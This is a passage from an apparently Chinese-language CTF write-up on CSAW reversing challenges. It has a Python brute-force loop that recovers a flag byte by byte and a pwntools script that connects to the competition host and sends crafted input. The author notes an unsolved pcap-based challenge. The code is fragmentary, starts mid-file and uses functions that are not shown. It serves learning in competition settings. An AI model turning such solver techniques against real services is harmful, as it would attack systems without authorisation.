    7. '''
    8. k = b'\x00'*MAGIC
    9. for i in keys:
    10. k = xor(k, i)
    11. print(k) #last k == flag
    12. '''
    13. inp = b'\xff'*MAGIC
    14. for i in range(MAGIC):
    15. for j in range(256):
    16. tmp = inp + bytes([j]) + b'\x00'*(MAGIC-i-1)
    17. output = b"\xff"*(MAGIC+1) + b'\x00'
    18. output = foo(output, foo(keys[4], foo(tmp, iv_b[4], K5, K6), K3, K4), K1, K2)
    19. if guardian_i(output, 4, keys, i):
    20. inp += bytes([j])
    21. print(inp)
    22. break
    23. print('ok:', inp)

    后边就好办了

    1. from pwn import *
    2. context.log_level = 'debug'
    3. p = remote('rev.chal.csaw.io', 5004)
    4. p.recvuntil(b'Enjoy this random bits : ')
    5. iv_a = p.recvline()[:73]
    6. # 先爆破得到长度为73
    7. # 根据给出的iv_a如果是1则输出FF如果是0则输出00
    8. inp = ''
    9. for i in range(73):
    10. if iv_a[i] == ord('1'):
    11. inp += 'ff'*73
    12. else:
    13. inp += '00'*73
    14. p.sendline(inp)
    15. a = p.recvline()
    16. p.recv()

    Conti 最后一个也没完成

    说是.pcap的二进制文件,但是不知道怎么看,wireshark不行就不知道怎么弄了

  • 相关阅读:
    【python笔记】客户运营 - cohort分析
    新旧电脑间文件互传(通过网络)
    2021 Java 这一年
    Pandas get_dummies用法
    合并分支--将自己的分支合并到master分支
    [Node] Node.js Webpack打包图片-Js-Vue
    13.3 正则表达式的应用
    春风吹又生的开源项目「GitHub 热点速览」
    普冉PY32系列(十三) SPI驱动WS2812全彩LED
    java+selenium web自动化测试入门
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/126812839